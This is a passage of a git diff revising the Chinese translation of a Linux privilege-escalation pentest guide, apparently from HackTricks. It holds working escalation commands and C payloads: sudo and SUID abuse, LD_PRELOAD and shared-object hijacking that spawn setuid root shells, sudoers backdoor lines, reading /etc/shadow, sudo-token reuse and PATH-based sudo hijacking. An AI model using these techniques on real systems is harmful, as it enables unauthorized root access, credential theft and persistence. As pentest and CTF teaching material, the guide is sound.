-检查你是**谁**,你拥有哪些**权限**,系统中有哪些**用户**,哪些可以**login**,以及哪些具有**root privileges**:
+检查你是 **who**,你拥有什么 **privileges**,系统中有哪些 **users**,哪些可以 **login**,哪些具有 **root privileges**:
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@@ -712,12 +713,12 @@ gpg --list-keys 2>/dev/null
```
### 大 UID
-一些 Linux 版本受到一个漏洞影响,该漏洞允许 UID > INT_MAX 的用户提权。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
-**利用它** 使用: **`systemd-run -t /bin/bash`**
+一些 Linux 版本受一个漏洞影响,允许 **UID > INT_MAX** 的用户提升权限。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
+**利用它**:**`systemd-run -t /bin/bash`**
### 组
-检查你是否是 **某个组的成员**,该组可能授予你 root 权限:
+检查你是否是某个可能授予你 root 权限的**组成员**:
{{#ref}}
@@ -726,7 +727,7 @@ interesting-groups-linux-pe/
### 剪贴板
-检查剪贴板中是否有任何有趣的内容(如果可能)
+如果可能,检查剪贴板中是否有任何有价值的信息
```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
@@ -743,22 +744,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### 已知密码
-如果你 **知道环境中的任何密码**,**尝试使用该密码登录每个用户**。
+如果您**知道环境中的任何密码**,请**尝试使用该密码以每个用户身份登录**。
### Su Brute
-如果你不介意制造大量噪音,且计算机上存在 `su` 和 `timeout` 二进制文件,你可以尝试使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce)。\
+如果您不介意产生大量噪音,并且计算机上存在 `su` 和 `timeout` 二进制文件,您可以尝试使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce) 进行暴力破解。\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用 `-a` 参数也会尝试对用户进行暴力破解。
-## 可写 $PATH 滥用
+## 可写 PATH 滥用
### $PATH
-如果你发现你可以 **在 $PATH 的某个文件夹中写入**,你可能能够通过 **在该可写文件夹中创建一个后门**,并将其命名为某个将由不同用户(理想情况下为 root)执行的命令来提升权限,前提是该命令 **不会从位于你的可写文件夹之前的文件夹中加载**。
+如果您发现可以在 $PATH 的某个文件夹中**写入**,您可能能够通过在可写文件夹中**创建一个 backdoor**——文件名为某个将由不同用户(理想情况下为 root)执行的命令——来提升权限,前提是该命令**不会从位于您可写文件夹之前的文件夹**在 $PATH 中被加载。
### SUDO and SUID
-你可能被允许使用 sudo 执行某些命令,或者某些命令可能设置了 suid 位。使用以下方式检查:
+您可能被允许使用 sudo 执行某些命令,或者某些命令可能设置了 suid 位。使用以下方式检查:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
@@ -774,37 +775,37 @@ less>!
```
### NOPASSWD
-Sudo 配置可能允许用户在不知道密码的情况下以另一个用户的权限执行某些命令。
+Sudo 配置可能允许用户在不知道密码的情况下,以另一个用户的权限执行某些命令。
```
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
-在此示例中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过在 root 目录中添加一个 ssh key 或调用 `sh` 就可以轻松获得 shell。
+在这个示例中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在可以通过将 ssh key 添加到 root directory 或调用 `sh` 来轻松获取 shell。
```
sudo vim -c '!sh'
```
### SETENV
-此指令允许用户在执行命令时 **设置环境变量**:
+该指令允许用户在执行某些操作时 **set an environment variable**:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
-这个示例,**based on HTB machine Admirer**,**存在漏洞**,可通过 **PYTHONPATH hijacking** 在以 root 身份执行脚本时加载任意 python 库:
+该示例(**based on HTB machine Admirer**)存在**漏洞**:可以通过**PYTHONPATH hijacking**在以 root 身份执行脚本时加载任意 python 库:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
-### BASH_ENV 通过 sudo env_keep 被保留 → root shell
+### BASH_ENV preserved via sudo env_keep → root shell
-如果 sudoers 保留 `BASH_ENV`(例如,`Defaults env_keep+="ENV BASH_ENV"`),你可以利用 Bash 的非交互启动行为,在调用被允许的命令时以 root 运行任意代码。
+如果 sudoers 保留了 `BASH_ENV`(例如,`Defaults env_keep+="ENV BASH_ENV"`),你可以利用 Bash 的非交互启动行为,在调用被允许的命令时以 root 身份运行任意代码。
-- 为什么有效:对于非交互 shell,Bash 会评估 `$BASH_ENV` 并在运行目标脚本之前 source 该文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果 sudo 保留了 `BASH_ENV`,你的文件会以 root 权限被 source。
+- Why it works: 对于非交互 shell,Bash 会求值 `$BASH_ENV` 并在运行目标脚本之前 source 该文件。许多 sudo 规则允许运行脚本或 shell 包装器。如果 `BASH_ENV` 被 sudo 保留,你的文件会以 root 权限被 source。
-- 要求:
-- 你可以运行的 sudo 规则(任何以非交互方式调用 `/bin/bash` 的目标,或任何 bash 脚本)。
-- `BASH_ENV` 出现在 `env_keep` 中(使用 `sudo -l` 检查)。
+- Requirements:
+- 你可以执行的 sudo 规则(任何以非交互方式调用 `/bin/bash` 的目标,或任何 bash 脚本)。
+- `BASH_ENV` 出现在 `env_keep` 中(可用 `sudo -l` 检查)。
- PoC:
```bash
@@ -816,14 +817,14 @@ chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
```
-- 加固:
-- 从 `env_keep` 中移除 `BASH_ENV`(和 `ENV`),优先使用 `env_reset`。
-- 避免为 sudo-allowed commands 使用 shell wrappers;使用尽量精简的二进制程序。
-- 在使用被保留的 env vars 时,考虑启用 sudo I/O 日志记录和告警。
+- 加固:
+- 将 `BASH_ENV`(和 `ENV`)从 `env_keep` 中移除,优先使用 `env_reset`。
+- 避免为 sudo-allowed 命令使用 shell 包装器;尽量使用最小化的二进制文件。
+- 考虑在使用被保留的环境变量时启用 sudo 的 I/O 日志记录和告警。
-### 绕过 sudo 执行的路径
+### Sudo 执行绕过路径
-**跳转** 去阅读其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_
+**Jump** 以读取其他文件或使用 **symlinks**。例如在 sudoers 文件中: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@@ -833,46 +834,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
-如果使用 **wildcard** (\*),就更容易:
+如果使用了 **wildcard** (\*),就更简单了:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
```
-**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
+**缓解措施**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
### Sudo command/SUID binary 未指定命令路径
-如果将 **sudo 权限** 授予单个命令 **但未指定路径**: _hacker10 ALL= (root) less_ 你可以通过更改 PATH 变量来利用它
+如果将 **sudo 权限** 授予单个命令 **但未指定路径**: _hacker10 ALL= (root) less_,可以通过更改 PATH 变量来利用它。
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
-如果一个 **suid** 二进制文件 **执行另一条命令但没有指定其路径(总是用** _**strings**_ **检查可疑 SUID 二进制文件的内容)**).
+该技术也适用于当一个 **suid** 二进制文件 **执行另一个命令但未指定其路径时(务必使用** _**strings**_ **检查可疑 SUID 二进制文件的内容**)。**
[Payload examples to execute.](payloads-to-execute.md)
-### SUID binary 指定命令路径
+### 带命令路径的 SUID 二进制
-如果 **suid** 二进制 **执行另一个指定了路径的命令**,那么,你可以尝试 **导出一个函数**,命名为 suid 文件所调用的命令。
+如果这个 **suid** 二进制 **执行另一个命令并指定了路径**,那么你可以尝试 **export a function**,其名称与 suid 文件所调用的命令相同。
-例如,如果一个 suid 二进制调用 _**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并导出它:
+例如,如果一个 suid 二进制调用 _**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并将其 **export**:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
-然后,当你调用 suid binary 时,这个函数将被执行
+然后,当你调用 suid 可执行文件时,这个函数会被执行
### LD_PRELOAD & **LD_LIBRARY_PATH**
-环境变量 **LD_PRELOAD** 用于指定一个或多个共享库(.so 文件),由加载器在其他库之前加载,包括标准 C 库(`libc.so`)。这个过程称为预加载库。
+The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library.
-但是,为了维护系统安全并防止此功能被滥用,尤其是在 **suid/sgid** 可执行文件上,系统强制执行某些条件:
+然而,为了维护系统安全并防止该特性被滥用,尤其是针对 **suid/sgid** 可执行文件,系统强制执行以下条件:
-- 当可执行文件的真实用户 ID (_ruid_) 与有效用户 ID (_euid_) 不匹配时,加载器会忽略 **LD_PRELOAD**。
-- 对于带有 suid/sgid 的可执行文件,只有位于标准路径且同样为 suid/sgid 的库会被预加载。
+- 当真实用户 ID (_ruid_) 与有效用户 ID (_euid_) 不匹配的可执行文件时,加载器会忽略 **LD_PRELOAD**。
+- 对于带有 suid/sgid 的可执行文件,只有位于标准路径且同样具有 suid/sgid 属性的库会被预加载。
-如果你能够使用 `sudo` 执行命令,并且 `sudo -l` 的输出包含语句 **env_keep+=LD_PRELOAD**,则可能发生权限提升。该配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时仍然保留并被识别,可能导致以提升的权限执行任意代码。
+Privilege escalation 可能发生在你可以使用 `sudo` 执行命令,且 `sudo -l` 的输出包含语句 **env_keep+=LD_PRELOAD** 的情况下。该配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时仍然保留并被识别,可能导致以提升的权限执行任意 code。
```
Defaults env_keep += LD_PRELOAD
```
@@ -889,7 +890,7 @@ setuid(0);
system("/bin/bash");
}
```
-然后使用以下命令**编译它**:
+然后使用以下命令 **编译它**:
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
@@ -921,13 +922,13 @@ sudo LD_LIBRARY_PATH=/tmp
```
### SUID Binary – .so injection
-当遇到具有 **SUID** 权限且看起来异常的 binary 时,最好验证它是否正确加载 **.so** 文件。可以通过运行以下命令来检查:
+当遇到具有 **SUID** 权限且看起来异常的二进制程序时,最好确认它是否正确加载 **.so** 文件。可以通过运行以下命令来检查:
```bash
strace 2>&1 | grep -i -E "open|access|no such file"
```
-例如,遇到类似错误 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 表明可能存在被利用的机会。
+例如,遇到像 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 这样的错误,表明可能存在可利用的漏洞。
-要利用这一点,可以通过创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_,并包含以下代码:
+要利用此漏洞,可以通过创建一个 C 文件,比如 _"/path/to/.config/libcalc.c"_,其内容如下:
```c
#include
#include
@@ -938,13 +939,13 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
-这段代码在编译并运行后,旨在通过修改文件权限并执行具有提升权限的 shell 来实现提权。
+这段代码在编译并执行后,旨在通过修改文件权限并以提升的权限执行一个 shell 来提升权限。
使用以下命令将上述 C 文件编译为共享对象 (.so) 文件:
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
-最后,运行受影响的 SUID 二进制文件应触发 exploit,从而可能导致系统妥协。
+最后,运行受影响的 SUID binary 应该会触发 exploit,从而可能导致系统妥协。
## Shared Object Hijacking
```bash
@@ -956,7 +957,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
-既然我们已经找到一个从我们可写的文件夹加载 library 的 SUID binary,现在就在该文件夹中以所需的名称创建该 library:
+既然我们已经找到一个 SUID binary 会从我们有写权限的 folder 加载 library,接下来就在该 folder 中以必要的名称创建该 library:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include
@@ -973,13 +974,13 @@ system("/bin/bash -p");
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
-that means that the library you have generated need to have a function called `a_function_name`.
+那意味着你生成的库需要有一个名为 `a_function_name` 的函数。
### GTFOBins
-[**GTFOBins**](https://gtfobins.github.io) 是一个整理好的 Unix 二进制文件列表,攻击者可以利用这些二进制文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 与之类似,但针对只能在命令中 **only inject arguments** 的情况。
+[**GTFOBins**](https://gtfobins.github.io) 是一个精心整理的 Unix 二进制文件列表,攻击者可以利用这些二进制文件来绕过本地安全限制。 [**GTFOArgs**](https://gtfoargs.github.io/) 则用于只能够在命令中**注入参数**的情形。
-该项目收集了 Unix 二进制的合法功能,这些功能可能被滥用以突破受限 shell、提升或维持提升的权限、传输文件、生成 bind 和 reverse shells,并辅助其他 post-exploitation 任务。
+该项目收集了 Unix 二进制文件的合法功能,这些功能可能被滥用来突破受限 shell、提升或维持特权、传输文件、生成 bind 和 reverse shells,并辅助其他 post-exploitation 任务。
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@@ -998,60 +999,61 @@ https://gtfoargs.github.io/
### FallOfSudo
-如果你可以访问 `sudo -l`,可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 检查它是否能找出利用任何 sudo 规则的方法。
+如果你能运行 `sudo -l`,可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查它是否能发现可利用的 sudo 规则。
-### Reusing Sudo Tokens
+### 重用 sudo 令牌
-在你有 **sudo access** 但没有密码的情况下,你可以通过 **等待某个 sudo 命令执行然后劫持会话 token** 来提升权限。
+在你拥有 **sudo access** 但不知道密码的情况下,你可以通过**等待 sudo 命令被执行然后劫持会话令牌**来提升权限。
-可用于提升权限的前提条件:
+提升权限的前提条件:
-- 你已经以用户 "_sampleuser_" 获得一个 shell
-- "_sampleuser_" 在 **最近 15 分钟内** 有 **使用过 `sudo`** 来执行某些操作(默认 sudo token 的持续时间为 15 分钟,允许我们在此期间使用 `sudo` 而不输入密码)
-- `cat /proc/sys/kernel/yama/ptrace_scope` 的值为 0
-- `gdb` 可用(你可以上传它)
+- 你已经以用户 _sampleuser_ 拥有一个 shell
+- _sampleuser_ 已经在**最近 15 分钟**内**使用过 `sudo`** 来执行某些命令(默认 sudo 令牌在此期间允许我们使用 `sudo` 而无需输入密码)
+- `cat /proc/sys/kernel/yama/ptrace_scope` 的结果为 0
+- `gdb` 可用(你需要能够上传它)
-(你可以临时启用 ptrace_scope: `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来持久化)
+(你可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 临时启用 ptrace_scope,或通过修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来永久启用)
-如果满足上述所有条件,**你可以使用以下工具提升权限:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
+如果满足所有这些前提条件,**你可以使用以下工具提升权限:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
-- 第一个 exploit(`exploit.sh`)会在 _/tmp_ 创建二进制文件 `activate_sudo_token`。你可以用它在你的会话中**激活 sudo token**(这不会自动给你一个 root shell,需要执行 `sudo su`):
+- 第一个 **exploit** (`exploit.sh`) 会在 _/tmp_ 创建二进制文件 `activate_sudo_token`。你可以用它来**在你的会话中激活 sudo token**(你不会自动获得 root shell,运行 `sudo su`):
```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
-- 该 **second exploit** (`exploit_v2.sh`) 将在 _/tmp_ 创建一个 sh shell,**owned by root with setuid**
+- 该 **第二个 exploit** (`exploit_v2.sh`) 将在 _/tmp_ 创建一个 sh shell,**归 root 所有并具有 setuid**
```bash
bash exploit_v2.sh
/tmp/sh -p
```
-- 该 **第三个 exploit** (`exploit_v3.sh`) 将 **创建 sudoers file**,使 **sudo tokens 永久有效并允许所有用户使用 sudo**
+- 该 **第三个 exploit** (`exploit_v3.sh`) 将 **创建一个 sudoers file**,使 **sudo tokens 永久有效并允许所有用户使用 sudo**
```bash
bash exploit_v3.sh
sudo su
```
### /var/run/sudo/ts/\
-如果你对该文件夹或该文件夹内任何已创建文件拥有 **写权限**,你可以使用二进制程序 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **创建一个 sudo token 给某个用户和 PID**。\
-例如,如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_ 并且以该用户身份拥有 PID 为 1234 的 shell,你可以在不需要知道密码的情况下 **获得 sudo 权限**,执行:
+如果你在该文件夹或其内任意已创建文件上具有 **写权限**,你可以使用二进制 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **为用户和 PID 创建 sudo token**。\
+例如,如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_,并且你以该用户身份拥有 PID 1234 的 shell,你可以在不需要知道密码的情况下通过以下方式 **获得 sudo 权限**:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
### /etc/sudoers, /etc/sudoers.d
-文件 `/etc/sudoers` 和 `/etc/sudoers.d` 中的文件配置谁可以使用 `sudo` 以及如何使用。 这些文件 **默认只能由用户 root 和组 root 读取**。\
-**如果**你能**读取**这个文件,你可能能够**获取一些有趣的信息**,并且如果你能够**写入**任意文件,你将能够**escalate privileges**。
+文件 `/etc/sudoers` 和 `/etc/sudoers.d` 中的文件配置了谁可以使用 `sudo` 以及如何使用。\
+这些文件**默认情况下只能由用户 root 和组 root 读取**.\
+**如果**你可以**读取**这个文件,你可能能够**获取一些有趣的信息**,而如果你可以**写入**任何文件,你将能够**escalate privileges**。
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
-如果你能 write,你就能滥用该权限
+如果你有写权限,你就可以滥用该权限
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
```
-滥用这些权限的另一种方法:
+另一种滥用这些权限的方法:
```bash
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
@@ -1060,17 +1062,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
### DOAS
-除了 `sudo` 二进制文件之外,还有一些替代品,例如 OpenBSD 的 `doas`,记得检查其配置,位于 `/etc/doas.conf`。
+有一些可以替代 `sudo` 二进制的工具,例如 OpenBSD 的 `doas`,记得检查其配置文件 `/etc/doas.conf`。
```
permit nopass demo as root cmd vim
```
### Sudo Hijacking
-如果你知道某个 **用户通常连接到一台机器并使用 `sudo`** 来提升权限,并且你在该用户上下文获得了一个 shell,你可以 **创建一个新的 sudo 可执行文件**,该文件会先以 root 身份执行你的代码,然后再执行用户的命令。然后,**修改该用户上下文的 $PATH**(例如在 .bash_profile 中添加新的路径),这样当用户执行 sudo 时,就会执行你的 sudo 可执行文件。
+如果你知道一个**用户通常连接到一台机器并使用 `sudo`** 提权,并且你已经在该用户上下文获得了一个 shell,你可以**创建一个新的 sudo 可执行文件**,它会先以 root 身份执行你的代码,然后再执行用户的命令。接着,**修改该用户上下文的 $PATH**(例如在 .bash_profile 中添加新的路径),这样当用户执行 sudo 时,就会执行你创建的 sudo 可执行文件。
-注意,如果用户使用不同的 shell(不是 bash),你需要修改其他文件以添加新的路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个示例。
+请注意,如果用户使用不同的 shell(非 bash),你需要修改其他文件以添加新的路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个示例。
-或者运行类似下面的命令:
+或者运行类似于:
```bash
cat >/tmp/sudo < (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
-将该库复制到 `/var/tmp/flag15/` 后,程序会在此处使用它,正如 `RPATH` 变量中指定的那样。
+通过将 lib 复制到 `/var/tmp/flag15/`,它将按 `RPATH` 变量指定的位置被程序使用。
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@@ -1121,7 +1123,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
-然后在 `/var/tmp` 中使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` 创建一个恶意库。
+然后在 `/var/tmp` 中创建一个恶意库,使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```c
#include
#define SHELL "/bin/sh"
@@ -1134,25 +1136,26 @@ setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
-## Capabilities
+## 能力
+
+Linux capabilities 为进程提供可用 root 特权的**子集**。这实际上将 root **特权分解为更小且独立的单元**。这些单元中的每一个都可以独立授予给进程。这样可以减少完整特权集,从而降低被利用的风险。\
+阅读以下页面以**了解有关 capabilities 及如何滥用它们的更多信息**:
-Linux capabilities 为进程提供可用 root 特权的一个子集。它实际上将 root **特权拆分为更小且独立的单元**。每个单元可以独立地授予给进程。通过这种方式减少了完整的特权集合,从而降低了被利用的风险。\
-阅读以下页面以**了解更多关于 capabilities 及如何滥用它们**:
{{#ref}}
linux-capabilities.md
{{#endref}}
-## Directory permissions
+## 目录权限
-在目录中,表示 **"execute"** 的位意味着受影响的用户可以 "**cd**" 进入该文件夹。\
-表示 **"read"** 的位意味着用户可以 **列出** **文件**,而 **"write"** 的位意味着用户可以 **删除** 和 **创建** 新的 **文件**。
+在目录中,**"execute" 位**表示受影响的用户可以**"cd"**进入该文件夹。\
+**"read"** 位表示用户可以**列出**该目录中的**文件**,而 **"write"** 位表示用户可以**删除**和**创建**新的**文件**。
## ACLs
-Access Control Lists (ACLs) 代表可覆盖传统 ugo/rwx 权限的第二层自主权限。这些权限通过允许或拒绝对特定非所有者或非组用户的访问权来增强对文件或目录访问的控制。此级别的**精细化**确保了更精确的访问管理。更多细节见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。
+Access Control Lists (ACLs) 表示可自由支配权限的二级层次,能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定非所有者或非组成员用户的权限,提高了对文件或目录访问的控制。这种**细粒度**确保了更精确的访问管理。更多细节可在 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。
-**Give** user "kali" read and write permissions over a file:
+**给** 用户 "kali" 对一个文件授予读写权限:
```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
@@ -1165,8 +1168,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## 打开 shell 会话
-在 **旧版本** 中,你可能可以 **hijack** 不同用户(**root**)的 **shell** 会话。\
-在 **最新版本** 中,你只能 **connect** 到 **你自己的用户** 的 screen sessions。不过,你可能会在 **会话内部的有趣信息** 中发现有价值的内容。
+在 **旧版本** 中,你可能会 **hijack** 不同用户(**root**)的某些 **shell** 会话。\
+在 **最新版本** 中,你只能 **connect** 到属于 **your own user** 的 **screen sessions**。不过,你可能会在会话内发现 **有趣的信息**。
### screen sessions hijacking
@@ -1185,9 +1188,9 @@ screen -x [user]/[session id]
```
## tmux sessions hijacking
-这是 **旧版 tmux** 的一个问题。我作为非特权用户无法 hijack 由 root 创建的 tmux (v2.1) 会话。
+这是 **old tmux versions** 的问题。我作为非特权用户无法劫持由 root 创建的 tmux (v2.1) session。
-**列出 tmux 会话**
+**列出 tmux sessions**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
@@ -1211,10 +1214,10 @@ Check **Valentine box from HTB** for an example.
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
-2006年9月至2008年5月13日之间在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞影响。\
-该漏洞发生在这些操作系统创建新的 ssh 密钥时,因 **only 32,768 variations were possible**。这意味着可以计算出所有可能性,并且**having the ssh public key you can search for the corresponding private key**。你可以在此处找到计算出的可能性: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
+2006年9月到2008年5月13日之间,在基于 Debian 的系统(Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞影响。\
+该漏洞在这些操作系统上创建新的 ssh 密钥时发生,原因是 **只有 32,768 种可能性**。这意味着可以穷举所有可能性,**有了 ssh 公钥就可以搜索对应的私钥**。你可以在这里找到已计算出的可能性: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
-### SSH Interesting configuration values
+### SSH 有用的配置项
- **PasswordAuthentication:** 指定是否允许密码认证。默认是 `no`。
- **PubkeyAuthentication:** 指定是否允许公钥认证。默认是 `yes`。
@@ -1222,36 +1225,36 @@ Check **Valentine box from HTB** for an example.
### PermitRootLogin
-指定是否允许 root 使用 ssh 登录,默认是 `no`。可选值:
+指定 root 是否可以通过 ssh 登录,默认是 `no`。可能的值:
- `yes`: root 可以使用密码和私钥登录
- `without-password` or `prohibit-password`: root 只能使用私钥登录
-- `forced-commands-only`: root 只能使用私钥登录,且仅在指定了命令选项时
+- `forced-commands-only`: root 只能使用私钥登录,且需指定 commands 选项
- `no` : 不允许
### AuthorizedKeysFile
-指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的 token,会被替换为 home 目录。**You can indicate absolute paths**(以 `/` 开头)或 **relative paths from the user's home**。例如:
+指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的标记,%h 将被替换为用户主目录。**可以指定绝对路径**(以 `/` 开头)或**相对于用户主目录的相对路径**。例如:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
-That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access`
+该配置表示,如果你尝试使用用户 "**testusername**" 的 **private** key 登录,ssh 会将你密钥的 public key 与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的条目进行比较。
### ForwardAgent/AllowAgentForwarding
-SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys** (without passphrases!) 存放在你的服务器上。这样,你将能够通过 ssh **jump** **to a host**,然后从那里 **jump to another** host **using** 位于你 **initial host** 的 **key**。
+SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys**(不要把没有 passphrases 的 keys 留在服务器上!)。因此,你可以 **jump** via ssh **to a host**,然后从那里 **jump to another** host,**using** 存放在你 **initial host** 的 **key**。
-你需要在 `$HOME/.ssh.config` 中设置此选项,如下所示:
+你需要在 `$HOME/.ssh.config` 中设置这个选项,如下:
```
Host example.com
ForwardAgent yes
```
-注意:如果 `Host` 为 `*`,用户每次跳转到另一台机器时,该主机都将能够访问密钥(这是一个安全问题)。
+注意,如果 `Host` 是 `*`,每次用户跳转到不同的机器时,该主机将能够访问这些密钥(这是一个安全问题)。
-文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\
-文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许**或**拒绝** ssh-agent forwarding(默认允许)。
+文件 `/etc/ssh_config` 可以**覆盖**这些**选项**并允许或拒绝此配置。\
+文件 `/etc/sshd_config` 可以通过关键字 `AllowAgentForwarding` **允许**或**拒绝** ssh-agent 转发(默认为 allow)。
-如果你发现 Forward Agent 在某个环境中被配置,请阅读以下页面,因为 **你可能能够滥用它来提升权限**:
+如果你发现环境中配置了 Forward Agent,请阅读以下页面,因为**你可能能够滥用它以提升权限**:
{{#ref}}
@@ -1260,17 +1263,17 @@ ssh-forward-agent-exploitation.md
## 有趣的文件
-### 配置文件
